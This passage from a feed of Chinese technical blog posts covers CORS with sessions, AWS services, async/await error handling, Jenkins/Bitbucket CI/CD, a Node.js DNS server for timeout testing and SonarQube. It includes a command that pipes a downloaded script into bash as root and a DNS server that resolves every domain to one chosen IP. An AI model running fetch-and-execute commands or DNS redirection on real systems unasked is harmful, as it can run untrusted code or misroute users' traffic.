之後按下幾次重整,可以看到 api server 印出來的 session 每一次都是不同個 接下來就是要透過 xhr 的 credential 去設定在 ajax 送出之前要加上 ajax.withCredentials = true; 這樣才可以把 Cookie 夾帶上去但會發現瀏覽器卻爆出另一個錯誤訊息 The value of the ‘Access-Control-Allow-Credentials’ header in the response is ‘’ which must be ‘true’ when the request’s credentials mode is ‘include’ 這是前後端必須要同步都使用 credentials 才可以用於是在後端 server 加上 Access-Control-Allow-Credentials: true但再度重整之後又發現新的錯誤! The value of the ‘Access-Control-Allow-Origin’ header in the response must not be the wildcard ‘*’ when the request’s credentials mode is ‘include’. 其實這也是限制的一種,當使用到 credentials 的時候,後端必須多限制只有一個 domain 能使用Access-Control-Allow-Origin: http://localhost:8888這樣設定之後按幾次重整就會發現 session id 是一致的了 這邊要額外注意, 如果 Access-Control-Allow-Headers: * 會被瀏覽器阻擋因為瀏覽器政策關係, 是一定需要設定的, 否則會噴出以下錯誤 Access to XMLHttpRequest at ‘http://localhost:7777/test' from origin ‘http://localhost:8080' has been blocked by CORS policy: Request header field content-type is not allowed by Access-Control-Allow-Headers in preflight response. 重點筆記後端必須加上以下的 headers Access-Control-Allow-Headers: X-Requested-With, Accept, Content-Type, Cookie (各種前端要帶上來的 Header 皆需要設定) Access-Control-Allow-Origin: http://localhost:8888 只能指定一個 domain,不能用 * 字號 Access-Control-Allow-Methods: * Access-Control-Allow-Credentials: true 1, 3 兩點根據需要使用的 method 和 headers 再去客製化瀏覽器上 header 是不允許填入 * 的但是 method 可以,但建議上填有用到的就好 前端則是必須在 xhr 上面加上 xhr.withCredentials = true 後記以上為簡單介紹如何在前後分離架構下依舊可以使用 session 的方式而文章有提到 JWT,那是另一種驗證及授權方式,有機會再來談談這個技術實作的方式","link":"/2019/06/02/ajax-with-session/"},{"title":"AWS Certificate Manager 如何更換憑證 (Reimport Certificate)","text":"前言AWS 有提供一套服務可以把申請好的憑證一次給多個服務使用掛載在上面的憑證可以給 load balanacer, cloudfront 等等使用 以 load balancer 來說外面 https:443 進來後,要導入到 http:8080 的服務就會需要把憑證解開,然後進一步把流量往裡面送所以在 load balancer 上面就一定要掛載 private/public key 才有辦法去解開進來的流量像是在選 load balancer 的頁面,選擇 port forwarding 的時候就會需要選擇要掛載哪一個 certificate 而在 cloudfront 的時候在申請的同時也會需要填入要用哪一組憑證 (Customer Certificate) 當選入憑證的時候,Cloudfront 配給你的 domain 是 xxxxx.cloudfront.net 這種但憑證假設安裝的事 api.example.com 這種,會導致不安全的提示出現此時會需要到網域註冊商,把 CNAME api 指到 xxxxx.cloudfront.net到時候瀏覽 api.exmaple.com 就會出現合法的憑證了 如何更新憑證首先要進入到 AWS 的 Certificate Manager 頁面,並且點選你想要 Reimport 的憑證右上角會有一個藍色的『Reimport Certificate』按鈕,點選下去會到一個輸入頁面 到了輸入頁面會看到有 Certificate Body, Certificate Private Key, Certificate Chain接下來就把跟網域註冊商申請到的憑證一個一個貼上去即可,注意這裡要是 PEM 格式 其實在新增憑證的時候,也是一模一樣的流程","link":"/2020/01/06/aws-certificate-manager/"},{"title":"如何不用 try-catch 去寫 async/await","text":"前言在上一篇有討論到如何去寫 async/await 的 try-catch 比較好那這篇會注重在另一種在最外層不需要 try-catch 的寫法上 那因為用 try-catch 和不用 try-catch 的場景比較不一樣 (最外層)最後面會去比較這兩種寫法的優劣 寫法一先來複習之前提到過的寫法 123456789101112131415161718192021222324252627282930313233343536function test1() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test1 have error.\") }, 1000) })}function test2() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test2 have error.\") }, 1000) })}function test3() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test3 have error.\") }, 1000) })}async function main() { try { let result result = await test1(); console.log(result); result = await test2(); console.log(result); result = await test3(); console.log(result); } catch (error) { console.log(\"get error\"); }}main() 可以看到透過用 Promise 裡面 reject 的方法, 可以客製每一個回傳的錯誤訊息但 … 如果我不想讓程式執行到 reject 的時候跳到 catch 的地方 (第 33 行), 該怎麼做? 寫法二這邊程式邏輯是 test1 執行完, 就算有錯誤, 我還是依舊要執行並且把 test1 的錯誤帶到 test2 去執行 新的寫法透過解構 Array 的方式可以達成此目的 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647async function to(promise) { return promise.then(result => [null, result]).catch((error) => [error, null])}function test1() { return new Promise((res, rej) => { setTimeout(() => { rej(\"test1 have error.\") }, 1000) })}function test2(data) { return new Promise((res, rej) => { setTimeout(() => { console.log(\"test2 handle data: \" + data); rej(\"test2 have error.\") }, 1000) })}function handleTest1ResultIsNull(error) { console.log(\"handleTest1ResultIsNull's error message \" + error); return \"someConditionalValue\"}async function main() { let error, result [error, result] = await to(test1()); console.log(\"result: \" + result); if (error) { console.log(\"get error-1\"); console.log(error); } if (!result) { result = handleTest1ResultIsNull(error); } [error, result] = await to(test2(result)); console.log(\"result: \" + result); if (error) { console.log(\"get error-2\"); console.log(error); return; }}main() 注意到段程式碼透過傳進去一個 promise 並使用 then 去取得回傳值當 catch 發生得時候, 透過 return 的方法, 讓此 promise 不會直接噴出錯誤, 而是正常回傳值123async function to(promise) { return promise.then(result => [null, result]).catch((error) => [error, null])} 然後透過解構 Array 的方式可以取得回傳值這樣即使 test1 的 promise 是丟出一個錯誤, 透過此 warpper function就可以達成就算有錯誤, 程式還是依舊繼續執行下去 1let [result, result] = await to(test1()); 但這裡帶來一個問題, 如果程式邏輯是 test1 正確的時候回傳 A 值, 錯誤的時候給一個 default 值這樣其實不用特別寫一個 wrapper function, 只要稍微更改 test1 裡面的邏輯即可 寫法三這裡可以看到 test1 裡面改成, 當某一個 error 出現時特別去處理此 error, 然後在用 resolve 讓此 promise 正常回傳而不要丟出 error 12345678910111213141516171819202122232425262728293031323334353637383940function test1() { return new Promise((res, rej) => { let error = \"test1 have error\"; setTimeout(() => { if (error) { res(handleTest1ResultIsNull(error)) } else { res(\"success\") } }, 1000) })}function test2(data) { return new Promise((res, rej) => { setTimeout(() => { console.log(\"test2 handle data: \" + data); rej(\"test2 have error.\") }, 1000) })}function handleTest1ResultIsNull(error) { console.log(\"handleTest1ResultIsNull's error message\" + error); return \"someConditionalValue\"}async function main() { try { let result result = await test1(); console.log(\"result: \" + result); result = await test2(result); console.log(\"result: \" + result); } catch (error) { console.log(\"get error\"); console.log(error); }}main() 比較開始來比較一下兩種寫法的優劣 Wrapper function透過此 wrapper function 是可以方便程式撰寫的時候判斷方法可以清楚地去判斷此 error 要 log 什麼, 要不要停止執行, 或是要繼續往下都是非常彈性的但缺點就是, 你會寫一堆 if (error) 判斷這在這種寫法上是無可避免的 123async function to(promise) { return promise.then(result => [null, result]).catch((error) => [error, null])} 另外有另一種寫法也可以有一樣的效果就是把 wrapper function 直接寫在 await 後面一樣可以達到效果1let [error, result] = await test1().then(result => [null, result]).catch(error => [error, null]); try-catch block透過 try-catch block 可以輕鬆直接在 catch 的時候去統一處理 error但前提是你每一個 promise 裡面的 error 要事先處理好, 而不是交由最外層的 try-catch 去處理只是使用者這種方法, 如果 promise 裡面有 error, 但還想要繼續執行就必須透過 resolve 的方式去更改程式邏輯, 這點在這也是無可避免的 12345try { await test1()} catch (error) { console.log(error)} 總結兩種寫法應用場景其實不太一樣如果邏輯之間是第一個成功, 第二個才能繼續這種, 就很適合使用 try-catch block因為你前面錯誤發生, 就直接讓跳出去, 也不需要繼續執行了 但如果是不管第一個是否成功, 第二個都要繼續執行 (根據第一個執行的結果去處理)就適合用此文提到的 wrapper function 不過要注意一下商業邏輯的部分, 以剛剛的寫法三的例子是因為 function 回傳值就只有兩種, 所以才可以透過寫法三去修改, 就又變成 try-catch 的形式只是這種改底層的方式, 如果此 function 在其他地方邏輯是, 此 function 成功後才能繼續往下跑其他 function這樣有可能會讓其他地方邏輯爆掉, 請特別注意這件事 但如果商業邏輯是不管第一個是否成功, 第二個都要執行這種 (不根據第一個執行的結果去處理)其實在寫程式設計上, 這兩種邏輯理論上是可以被拆開的因為這兩個是毫無相關性的, 就不用硬寫在同一個地方 References How to write async await without try-catch blocks in Javascript","link":"/2020/05/04/async-error-handle/"},{"title":"AWS CloudWatch Logs Insights 介紹及教學","text":"前言AWS CloudWatch 是一個可以監控日誌用以及伺服器狀態等等的服務其他還有像是 Alarm Events 都是從以下兩個大項目延伸出去的額外功能這邊就先不多作介紹,之後會寫在其他篇幅做介紹那 CloudWatch 主要包含以下兩個大項目 Metric 紀錄了 AWS 上面服務的狀態 包含 EC2 的 CPU、網路使用量、記憶體用量和硬碟大小 API Gateway API Call Count、RDS CPU 用量等等 針對用量還可以去做 Alarm 發信,或是觸發 Lambda 等等的功能 記憶體和硬碟大小需要額外設定可以參考 https://docs.aws.amazon.com/zh_tw/AWSEC2/latest/UserGuide/mon-scripts.html Log 存放 Log 的地方,伺服器的 access log 或是程式的 log 又或是 audit log 等等,基本上想看的 log 可以推上來做分析以及整理 除此之外,s3 其實也是一個放 log 的好地方 但 s3 的缺點是不能夠很便利的去線上觀看 log 今天主要介紹的是 CloudWatch Logs Insights 功能透過 Insights 可以有效地查詢 Log 裡面的資料甚至還可以做統計以及剖析 Log 裡面的字串進行字串統計 使用方式範例一 - like123fields @timestamp, @message| sort @timestamp desc| filter @message like "Your Wanted Message" 第一行 fileds 主要指定最後出現的欄位會有什麼第二行 sort 是根據 timestamp 進行由大至小的排序第三行 filter 是針對 @message 的內容去搜尋 最後只會顯示跟 like 後面有關的字串的結果而已 這邊要另外注意的事情是,每一個指令都是有順序性的以上面第三行的結果來說假設第四行再下了一個 filter @message like "blablabla一個跟前面完全沒有關係的訊息是找不到的因為在第三行就把所有訊息都過慮剩下只有 “Your Wanted Message”所以在第四行針對 “Your Wanted Message” 去搜尋 “blablabla” 當然就不會出現任何結果 範例二 - @logStream在整個操作 UI 上最上面會有一個可以選 logGroup 的地方但卻沒有選 logStream 的地方 此時會需要透過 filter 加上 @logStream 的方式才能找單獨的 stream12fields @timestamp, @message| filter @logStream = "Access Logs" 範例三 - parse假設今天要處理 access log 的 path 做統計的話字串有一段內容是 “GET /login HTTP/1.1”我想要 parse 出 /login 的話該怎麼做呢?123fields @timestamp, @message| sort @timestamp desc| parse '"GET * HTTP/1.1' as @path第三行 透過 parse 指令加上 * 可以把 * 的地方變成一個變數指定到 as 後面的變數去這裡變數要不要加 @ 都可以,結果如下: 那如果想要 parse 兩個變成變數呢?很簡單,就是再多加一個 * 字號在後面即可| parse '"GET * */1.1' as @path, @protocol 範例四 - stats count()以前面的例子來說我想知道在短時間內有幾個 login 的話可以透過 stats 的指令去做統計12345fields @timestamp, @message| filter @logStream = "Access Logs"| sort @timestamp desc| parse '"GET * */1.1' as @path, @protocol| stats count(*) as sum by @path第五行 透過 by 指令去 group by 用哪一個參數當作目標去做計算 當然一樣可以多個 | stats count(*) as sum by @path, @protocol 後記以上介紹一些個人比較常用的指令,官網還有很多非常好用的指令詳細有興趣可以到官網上查查看https://docs.aws.amazon.com/zh_tw/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html","link":"/2019/11/28/aws-cloudwatch-logs-insights/"},{"title":"使用 Apple Pay 時 Safari 如何開啟開發者模式去 Debug 呢?","text":"有時候在使用類似 Apple Pay 的東西並不知道該如何去看手機中 Safari 的偵錯然後就會愣在那裡,並不知道該怎麼 Debug今天要跟各位來介紹如何在 iPhone 上面開啟 Safari 的開發者模式 前提首先要確認 iPhone 手機上面的 Safari > 進階 > 網頁檢閱器 是否有打開才可以喔!沒有打開的話是不能使用 Develop Debug mode 整體流程 把你的 iPhone 線接到 Mac 上 在手機上面開起 Safari,然後打開一個頁面 開啟 Mac 上的 Safari 左上選單選擇 『開發者』(Develop) 下面會有你手機的名稱,點下去就會看到手機 Safari 頁面 接下來會跳出 Safari 的開發者模式,就可以繼續 Debug 拉 ~","link":"/2018/04/21/apple-debug/"},{"title":"CloudFront 設定 Header Forward","text":"最近在使用 CloudFront Header forward 的設定CloudFront 預設會把 User-Agent 這個 header 替換成 Amazon CloudFront於是開始研究起要怎麼把原始的 User Agent 完整的帶到 Origin 去 但由於 CF 上面的設定寫的不是很清楚於是發現以下這篇 AWS 官方文章這裡直接做一個總結 None: 使用 CloudFront 原生的行為 (例如替換 User-Agent) Whitelists: 把 whitelists 裡面的參數,完整不動 的 Forward 到 Orign 去使用 ALL: 把所有參數都 forward 到 Origin 去 下面是一個 whitelist 的簡單範例 以這張圖的設定的來說,代表 User-Agent 不會被 CloudFront 給自動替換掉而是會拿原生User-Agent直接 forward 到 Origin 去 另外這邊要提醒,Cloudfront 預設是不會 Forward Headers, Cookies 和 Query String 的這邊要特別注意,要特別設定才可以那至於 Cookie 以及 Query String 的設定看上面就明瞭了","link":"/2018/09/05/cloudfont-setting/"},{"title":"CI/CD 實現 - bitbucket & Jenkins 篇","text":"前言試想一下,我們把專案寫完之後接下來就是要進行本地測試測試完成後,把專案推上去,把 PR 發給相關人員通過後需要把大家的 branch 都合併然後我們就要把這個程式放到正式環境 CI 就是上述提到的版控、程式碼分析、建置、自動化測試CD 就是把要 Release 的程式放到正式環境去,讓真正的使用者使用 雖然大家都狂說 CI/CD 是很屌很猛但其實當久,版控、程式碼分析、建置、自動化測試、部署這一整套流程自然而然能夠自動化就自動化,而且每個公司的 CI/CD 流程都會根據架構服務有所變形 CI/CD 工具只是輔助,重點是整套流程要出來才對根據不同流程,會有不同的 CI/CD 工具可以應用應該先釐清公司的服務和架構該如何做到 CI/CD 再來去想用哪些工具假如說公司都已經全都 container 化,那用 drone 或許是一個不錯的選擇又或是現階段架構不大,可以採用人工介入的半自動 CI/CD 來減少全自動化的成本等等在這推薦筆者覺得觀念寫得不錯的文章架構師觀點: 你需要什麼樣的 CI / CD ? 這篇文章主要是記錄筆者有在使用 CI/CD 流程的一部分筆記 流程圖大致上流程如下 本地端把程式 push 到 bitbucket bitbucket 接收到 push 的通知後,把此消息告訴 jenkins server jenkins 收到從 bitbucket 來的消息後,開始把程式 pull 下來 jenkins pull 成功後,開始執行 test 成功執行完 test 後,執行部署 部署成功後發送通知給 slack 流程圖如下,但第 5 個步驟的部署並不會有實際例子這會在後記部分進行說明 準備以下四點要事前準備 jenkins 可以使用 docker 安裝的,這樣就不會污染到本機環境了 專案是需要用到 npm,所以必須進到 jenkins 裡面安裝 node.js 專案則是使用 bibucket,所以需要自己準備好 bitbucket repository 此篇是使用『Slack App』去做發布訊息,所以需要一個 Slack App 的 Oauth Token 去做認證可以參考筆者之前的文章去建立 Slack App jenkins 安裝透過此指令 docker run -it -p 8080:8080 -u root jenkins/jenkins:lts安裝 jenkins 最新版,並以 root 的角色登到 container 裡面接下來用 root 的使用者安裝 node.js12curl -sL https://deb.nodesource.com/setup_12.x | bash -apt-get install -y nodejs 接下來用瀏覽器開啟 http://localhost:8080 去把 jenkins 給初始化進到頁面首先會要求你輸入初始密碼使用以下指令把密碼取得,並複製上去即可完成cat /var/jenkins_home/secrets/initialAdminPassword後面就是新增一個 admin 帳號和密碼就不截圖說明了 bitbucket 專案準備一個 node.js 專案,透過 npm init 去初始化然後在 package.json 的 scripts 裡面添加一行 test 指令然後把此專案的 bitbucet 連結準備好123\"scripts\": { \"test\": \"echo 'Start CI/CD!'\"} 取得 Slack App Oath Access Token請到 https://api.slack.com/apps 點選要使用的 Slack App 去取得 Oath Access Token 這邊需要此權限『chat:write:bot』 jenkins & bitbucket 串接jenkins 設定首先進到 jenkins 的管理頁面,這裡以 http://localhost:8080 為主首先為了要 bibucket 任何 push, merge 動作能夠在 jenkins 這邊去識別以下的條件『當 jenkins 設定當 bibucket [push/merge/…等等] master 會建置,其餘 branch 不會建置』就先必須安裝 bitbucket plugins 去做這件事情,不安裝的話 jenkins 無法識別 bitbucket 的通知點選左邊『管理 jenkins』,然後點選『管理外掛程式』,把 bitbucket 先安裝好除此之外要做到 slack 通知,也把『Slack Notification』此外掛裝好 回到 jenkins 首頁按下左上角『新增作業』,選擇 free style 往下滑到原始碼管理,選擇 git把剛剛準備好的 bitbucket 連結貼上去然後應該會出現下列的錯誤訊息,代表需要帳號密碼才可以存取此 repository 點選圖中的 add 去新增使用者帳號密碼 輸入成功後,會跳回去剛剛的畫面,輸入正確的話就不會出現錯誤訊息 下圖的 branch 設定意義是指當 bitbucket master 有變更的時候,會觸發此建置但要注意,此設定要搭配 bitbucket plugin 合用才會有效喔 接下來往下滾動會看到『建置觸發程序』,勾選圖中那兩樣,並保留排程空白 再往下把看到建置,請點選『新增建置步驟』>『新增 shell』 輸入以下 shell12cd $WORKSPACE # 移動到專案的目錄npm run test # 執行 test 指令 接下來為了要把建置的結果通知給相關人員請點選『新增建置後動作』>『Slack Notification』 這邊先勾選成功會通知即可 接下來會看到各個要輸入資訊的地方,先把除了 Credential 以外的填完 此 Credential 必須要用到剛剛得到的 Oath Access Token這裡點選 add,進去後類型選擇『Secret Text』,並把 Token 填入 這邊補充一下如果不想要每一個專案都設定一次可以回到 jenkins 首頁,點選裡面的設定可以設定全域,這樣所有專案就可以吃同一個設定就不需要讓每一個專案都設定 oath channel 等等的東西了但基本的設定還是要設置,像是在『建置成功』『建置失敗』的情境下要發送通知這種如果不設定的話,訊息是不會發送到 slack 的 接下來按下右下角 Test Connection成功的話就會在 slack 上面看到 jenkins 的訊息了最後按下儲存 接下來要設定能夠讓 bitbucket 呼叫到我們 jenkins 的 api在此之前我們需要先建立 api token點選『使用者』>『點選剛建立的 admin』即可取得 api token 『按下 Add new token』,馬賽克那一串就是 api token 了 Bitbucket 設定到 bitbucket 的專案設定裡面,點選 webhook 把此 url 設定進去http://[jenkins 帳號]:[jenkins api token]@[jenkins url]:[jenkins port]/git/notifyCommit?url=[bitbucket branch]如果 jenkins 帳號是 admin,api token 是 12345然後 jenkins url 是 ngrok or public ip,這邊以 1.1.1.1 為範例port 是 8080,branch 是 https://user@bitbucket.org/user/ci-cd-test.git全部綜合起來,連接應該要如下http://admin:12345@1.1.1.1:8080/git/notifyCommit?url=https://user@bitbucket.org/user/ci-cd-test.git 如果沒有自己 server 的人可以用 Ngrok - Connect to your localhost! 讓 bitbucket 連線到你的 jenkins server 建立完成後,點選『View Request』就可以看有沒有 branch 被推上來 實作結果接下來到專案內,隨意修改並進行 push,就會看到下面有列出 request 進來 在 jenkins 上面就會看到有建置開始在運行了左下角出現 #6 就是正在建置的號碼 點選進去後,可以看到 commit 的 log 點選『Console Output』,最下面可以看到剛剛專案的 Start CI/CD 就出現了 Slack 裡面也會出現建置成功的通知 後記這樣就算是打通 CI/CD 粗略流程了實際上 CI 還要包含跑測試以及跑程式掃描而 CD 還要有部署到伺服器以 CD 來說可以利用 ssh root@1.1.1.1 "echo 1" 直接執行遠端伺服器的指令去連到另一台伺服器去跑已經撰寫好了 deploy shell或是有的使用 k8s 去做部署又或是你家的 production server 就直接放在 jenkins server 上 XD這些東西都是要根據每個公司不同的伺服器架構去決定要如何去撰寫這裡就不詳細介紹該如何去實作了","link":"/2020/02/17/ci-cd-jenkins/"},{"title":"自建 DNS Server (Node.js)","text":"前言因工作上需要幫忙協助建立一個 DNS Server 去測試以下一個情境當發 request 的時候解析 Domain 成 IP 這一段如果 timeout 或是時間太久的話, 相關發 request 的套件會如何處理 exception 安裝教學在安裝之前, 請先確認是否已經有安裝 Node.js, 有的話可以繼續往下看 mkdir nodejs-dns-server cd nodejs-dns-server npm install native-dns 建立檔案, dns.js 1234567891011121314151617181920const dns = require('native-dns');const server = dns.createServer();server.on('request', function (request, response) { // console.log(request) response.answer.push(dns.A({ name: request.question[0].name, address: '你想要解析後的 IP', ttl: 600, })); setTimeout(() => { response.send(); }, 1000)});server.on('error', function (err, buff, req, res) { console.log(err.stack);});server.serve(53); node dns.js 這樣就建立出一個 DNS Server另外要注意的是, DNS Server 預設是 UDP 53 port 哦! 測試測試有分成兩種方式, 擇一即可 更改發 request 套件時用的 dns server 更改網路的 dns 設定 更改發 request 套件時用的 dns server這邊測試用 Node.js 的 Axios 去進行測試這裡是透過 interceptors 去攔截 Request 然後透過自建 DNS 去解析出 IP相關程式如下 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061const dns = require(\"native-dns\");const axios = require(\"axios\")const https = require(\"https\")const net = require(\"net\");const URL = require (\"url\");function resolveARecord(hostname, dnsServer) { return new Promise(function (resolve, reject) { var question = dns.Question({ name: hostname, type: \"A\" }); var request = dns.Request({ question: question, server: { address: dnsServer, port: 53, type: \"udp\" }, timeout: 2000 }); request.on(\"timeout\", function () { reject(new Error(\"Timeout in making request\")); }); request.on(\"message\", function (err, response) { // Resolve using the first populated A record for (var i in response.answer) { if (response.answer[i].address) { resolve(response.answer[i]); break; } } }); request.on(\"end\", function () { reject(new Error(\"Unable to resolve hostname\")); }); request.send(); });}axios.interceptors.request.use(function (config) { var url = URL.parse(config.url); if (!config.dnsServer || net.isIP(url.hostname)) { // Skip return config; } else { return resolveARecord(url.hostname, config.dnsServer).then(function (response) { config.headers = config.headers || {}; config.headers.Host = url.hostname; // put original hostname in Host header url.hostname = response.address; delete url.host; // clear hostname cache config.url = URL.format(url); return config; }); }});axios.get(`https://hostA.examplewqeeqweqweqwe.org`, { httpsAgent: agent, dnsServer: '127.0.0.1' }).then(({data}) => { console.log(data);}).catch((error) => { console.log(error)}) 這樣一來, 當對此 domain hostA.examplewqeeqweqweqwe.org 發 request 的時候就會被導入到你在上面 dns.js 程式輸入的任何 IP 了 更改網路的 dns 設定此設定要注意, 因為是改 wifi 設定所以所有的 domain 都會透過自建的 dns server 去解析所以假設你 dns server 給的 ip 是 1.1.1.1那麼你用瀏覽器開的 youtube.com 也會被解析成 1.1.1.1然後就連到 1.1.1.1 而不會連線到真正 youtube.com 的 IP 了 設定方式, 這邊只介紹 Mac 的設定方法 點擊 System Preferences > Network 會到連線設定的地方 並點選 Advanced (進階), 會看到上面有一排 Wi-Fi TCP/IP DNS 等等的 Tab 點入 DNS 這個 Tab 點選 + 後輸入 127.0.0.1 後按下 OK 以及套用即可完成 回復設定時, 先點選 127.0.0.1 在按下 - 就可以, 系統會自己填入預設用的 dns server IP","link":"/2020/06/09/custom-dns-server-with-nodejs/"},{"title":"如何增加 EC2 硬碟大小 (Expand the disk space in EC2)","text":"前言在使用 AWS 服務時,有時候會因為 log 量太大導致硬碟大小不夠此時會需要把硬碟增加大小,以免整台機器爆掉接下來會針對如何增加硬碟大小做說明 確認硬碟大小方法可以透過 df -h . 指令確認硬碟目前使用的大小這時候可以看到硬碟配置的大小 接下來可以透過 lsblk 回找最大上限的配置可以是多少上面 xvda 就是最多可以有多少大小下面 xvda1 就是實際上目前有多少大小 看另一個例子,以下圖的 xvdi 和 xvdi1 來說可配置最大上限為 8G,但目前正在使用的最大上限為 1023 MB 增加硬碟大小到 EC2 的頁面點選要更新的 EC2,點選右下角 disk 點進去之後,就進入到另一個頁面,點選 Action > Modify,會看到以下頁面,就可以增加大小了 接下來要到 EC2 裡面把實際上使用的大小擴充到可配置的最大空間以剛剛的 xvdi 為例的話,需要執行以下兩個指令才可以擴充12sudo growpart /dev/xvdi 1sudo resize2fs /dev/xvdi1這樣大小會直接擴充至可配置的最大上限,如果不想要配置到最大的話可以在後面加上幾 G 去做限制,如下123# 擇一sudo resize2fs /dev/xvdi1 2Gsudo resize2fs /dev/xvdi1 2048M","link":"/2020/01/06/aws-increase-disk-space-in-ec2/"},{"title":"CI/CD 實現 - Sonarqube 篇","text":"前言究竟如何評估一個專案狀態是好是壞, 是否有持續成長變得更好?在沒有數據化的情況下, 也只能依靠感覺去評估專案是否有往好的方向前進那麼如果想要評估, 該依什麼樣的角度去思考呢?筆者認為 Code Analytics 以及 Test Coverage 是一個能參考的結果 特別是 Test Coverage 的部分, 這得依據 Testing 寫得好壞去評估萬一一個 Testing 是沒有任何斷言(assert)的話, 這樣 Test Coverage 也是 100%這就沒有任何參考價值了 專案變得更好, 這句有點抽象那我們來想想, 什麼樣叫做爛專案 程式碼可讀性非常差, 接手後沒人看得懂 註解寫的亂七八糟, 沒有任何參考價值 變數函式命名都是靠擲筊想出來的, 只有通靈王才讀得懂 漏洞一堆, 框架都提供 ORM 讓你用結果還自己組 sql 導致 sql injection 架構設計上沒有預先思考, 同樣程式碼一直重複在所有地方 沒有自動化測試, 改一個地方後雙重間接地影響到其他功能 ……. 等等 其實還有很多, 但就簡單列幾個那問題就來了, 專案一開始爛沒關係, 凡是給別人一個機會看他會不會變得更好聽起來只要上面列的幾點, 有持續改善就是越來越好, 但我們要怎麼知道?這就會需要 Code Analytics 以及 Test Coverage 的從旁幫助 透過每次提交新的程式碼去獲取以下數據, 就可以知道每一次新提交的程式碼是否有改善 Test Coverage Testing 數量 是否有漏洞問題出現 是否有程式碼壞味道 是否有明顯的 Bug 但這實際改善還是得配合 Code Review 才能做到比如說是程式設計架構好不好, 這還是得透過『人』去處理, 畢竟事在人為獲取以上數值只是拿來量化專案工具只是一種輔助, 實際能幫助的還是有限的如果寫的人不看建議也不想修改 …… 那我會先建議你先喝杯茶再說了 那這邊使用的工具會是使用 Sonarqube + Jenkins + SlackJenkins + Slack 上次 CI/CD 那篇就提過, 所以這裡不會提到太多這裡會以 Sonarqube 掃描和如何在 Jenkins 上使用為主軸 Sonarqube 介紹Sonarqube 就是一款 Code Analytics 的工具可以幫你獲取上述幾點的數據, 也會告訴你當有漏洞或壞味道出現時應該怎麼修改程式 這邊快速簡介 Sonarqube 的運行架構, Sonarqube 會有所謂 scanner 以及 serverscanner 就是專門去掃程式用的, 掃完程式的結果會放置 server而我們就會登入到這台 server 去看程式掃出來的結果 這是掃描專案的主畫面, 可以看到上面有出現兩個 Bug 這個 Bug 點進去會看到這樣的圖 我事先先寫了一個無窮迴圈的程式這時 sonarqube 就有幫我掃出來問題再往下點進去, 他會有一個說明告訴你為什麼他會找到這個 Bug他會給你一個正例和反例讓你了解問題在哪 以上為其中一個例子, 其他還有很多規則像是 Security Hopspot以下圖來說, 他就會告訴你在寫 express 的時候, 要注意不要寫入過於敏感的資訊也告訴你不要嘗試以為用 encode 的方法存入就沒問題, 因為還是會被 decode 出來 再來就是我們比較注意的點, 也就是是否這些問題和 Test Coverage 都有記錄起來這裡都會記錄每次掃描到的問題, 所以透過折線圖會清楚了解到目前專案是不是累積越來越多問題可以看到 04:25 掃描的結果和 04:30 掃描的差異結果 再來就是 Test Coverage, Sonarqube 其實也提供讓你把 Unit Test 的結果丟上去並去做紀錄從下圖中可以看到 2020/12/18 當時有掃描了 2 個 unit test, 且 Test coverage 都是 100% 而圖中上面可以看到目前總共用 6 個 Unit Test, 且總體的 Test coverage 都是 100%所以除了每次分別紀錄的 Test coverage 之外, 也會告訴你總體的 Test coverage 是否有在成長 整合後流程使用說明有一點非常重要先提到, 因為 Sonarqube 掃描多 branch 版本是需要錢的但我只有 community 的版本可以用, 也就是上面只有一個 branch 可以用所以做法上, 我會把一個 branch 放成一個 project 假設專案叫做 test, branch 有 test1 和 test2在 Sonarqube server 上就會建立兩個 Project 去做掃描 test:test1 test:test2 而為何以這種方式建立 原因是這整套系統使用的基本需求就是會掃描開發者各自的 branch但為了讓開發者各自的 branch 第一次掃描也會被 Sonarqube 算在新提交的程式碼的前提下必須先掃描一次 develop branch 的版本到 Sonarqube 當做基底 這樣當下次開發者掃描各自的 branch 時, 就可以從第一次開始計算那為了不讓各自開發者互相影響到, 所以會以 {project_name}:{branch_name} 去開 Sonarqube project 我們來舉個例子看一下目前有兩支 AB 程式都各有一個 Bug但在 master/develop branch 中, 只存在一支程式 A, 在另一個 branch test 中存在另一支程式 B如果今天我直接以 branch test 去掃描會發生什麼事情? 在 New Code 是不會看到任何指標 而在 Overall Code 卻會看到兩個 Bug 那我們預期的結果是什麼?我們想要在 Overall Code 中出現 AB 程式, 但在 New Code 只想要出現 B 程式也就是我們得先以 master/develop 先掃描一次之後, 再去掃描另一個 branch test 才會有這樣的效果 整體流程圖如下 藍色區域是 MainPipeline 執行紅色區域是 SonarqubeJob 執行被藍色包起來代表, 觸發點是 MainPipeline, 執行過程會去呼叫 SonarqubeJob Jenkins + Sonarqube主要是透過 Jenkins pipeline 的方式去運作這邊就附上上面流程中的兩個 Job 的 pipeline (MainPipeline) 主要流程的 pipeline https://gist.github.com/Yu-Jack/f7f03ca8dccdd04bed4a1428e48eb7af (SonarqubeJob) 專門掃描程式的 pipline, 而因為後面專案有使用 java 和 nodejs, 所以會根據參數決定要用哪一個去掃描 https://gist.github.com/Yu-Jack/f7f03ca8dccdd04bed4a1428e48eb7af#gistcomment-3591103 為了不想讓文章看起來太長, 所以就全部都放 gist 而特別要注意的是在 Jenkins 裡面的 Sonarqube 環境設置, 包含以下三點 Jenkins plugins 去外掛管理程式裡面安裝 SonarQube Scanner nodejs 兩個 plugins Sonarqube scanner scanner 的部分在掃描程式的 pipeline 中透過以下方式設定 scannerHome 123environment { scannerHome = tool name: 'sonarqube-scanner-test'} 詳細的這個 sonarqube-scanner-test 名稱 可以在 管理 Jenkins > Global Tool Configuration > SonarQube Scanner 裡面發現 Sonarqube server server 的部分在掃描程式的 pipeline 中透過以下方式設定 server 位置 1234567 environment { sonarqube_server = 'http://sonarqube:9000'} ... other code ... other code ... other codewithSonarQubeEnv('local-sonarqube') 上面的 sonarqube_server 是為了打 api 暫時先設置的 下面的 local-sonarqube 可以在 管理 Jenkins > 設定系統 > SonarQube servers 裡面發現 Demo利用 MainPipeline 去 build 參數 下面提供測試用的參數 第一組測試參數branch: feature/test-3git_repository_name: sonarqube-test-demoproject_type: nodejs 第二組測試參數branch: feature/test-4git_repository_name: sonarqube-test-demo-javaproject_type: java 有興趣想玩玩的, 我也有包成 docker-compose.yml 可以去使用, 可以按照以下步驟去實驗jenkins 和 sonarqube 的帳號密碼皆為 admin:root docker run -d --name="demo_backup" 